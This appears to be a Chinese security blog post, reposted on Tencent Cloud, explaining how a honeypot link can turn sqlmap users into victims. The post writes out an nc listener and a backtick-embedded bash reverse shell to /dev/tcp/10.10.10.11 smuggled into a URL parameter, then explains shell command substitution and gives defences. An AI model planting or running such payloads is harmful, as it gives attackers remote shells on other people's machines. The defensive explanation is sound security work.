前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Sqlmap 反制 ???

Sqlmap 反制 ???

作者头像
信安之路
发布2023-12-26 16:39:24
2190
发布2023-12-26 16:39:24
举报
文章被收录于专栏:信安之路信安之路

最近看了一篇文章讲 Sqlmap 反制脚本小子,今天我们一起来探讨一下成功反制的前提条件,首先我们来回顾一下如何反制脚本小子。

复现过程

1、在远程 VPS 启动一个 NC 监听,用来接收反弹回来的 Shell

代码语言:javascript
复制
nc -vv -l -p 8080

2、在蜜罐网站或者自己的真实网站,创建一个用于反制的链接:

代码语言:javascript
复制
https://vuln.xazlsec.com/sqlinject.php?id=1&search=`bash -i >& /dev/tcp/10.10.10.11/443 0>&1`

将远程 VPS 的 IP 地址替换上面接口中的 10.10.10.11 ,接下来拼接 sqlmap 的命令:

代码语言:javascript
复制
python3 sqlmap.py -u "https://vuln.xazlsec.com/sqlinject.php?id=1&search=`bash -i >& /dev/tcp/10.10.10.11/443 0>&1`" 

在 linux 下执行该命令后,程序会卡死,没有任何反馈,如图 :

无论目标系统是否安装了 sqlmap 都可以执行该命令,随后在监听的服务器,获得执行 sqlmap 命令的 shell:

自此整个过程就结束了。

分析原理

1、核心是利用命令行中的倒引号,在 unix 类系统,倒引号内的内容会被当作命令执行,比如:

2、整个过程其实跟 Sqlmap 一点关系都没有,因为整个命令执行根本就没用到 Sqlmap,所以即使目标系统是否安装了 Sqlmap 都能成功能行反弹命令。所以,只要是将该接口原封不动的被当作参数带入任意命令行程序,都会出现这样的问题。

利用条件

关于这个反制效果想要最终达成,需要满足以下几个条件:

1、执行 sqlmap 的系统是 unix 操作系统,比如常见的 Linux 系统、mac 系统等

2、脚本小子不认识 sqlmap 命令中 bash -i >& /dev/tcp/10.10.10.11/443 0>&1,在执行 sqlmap 的时候,将接口的所有信息均复制到参数中;或者有些大佬在实现自动化漏洞探测的时候,通过爬虫获取的接口,额外调用 sqlmap 做进一步漏洞检测时,可能触发。

总结

1、这个问题非要跟 Sqlmap 绑定,其实跟 Sqlmap 并没有太大关系,可以是任意命令行程序,比如针对接口做其他漏洞探测

2、想要避免这个问题,最简单的方式就是将接口的参数内容统一过滤掉再带入命令行,或者直接过滤其中的倒引号

3、在做漏洞复现的时候,看清楚接口的内容,即使是脚本小子,也不会轻易上当

4、整个过程其实就是利用了操作系统的特性,特定环境下可以当作命令来执行

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-12-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 复现过程
  • 分析原理
  • 利用条件
  • 总结
相关产品与服务
脆弱性检测服务
脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档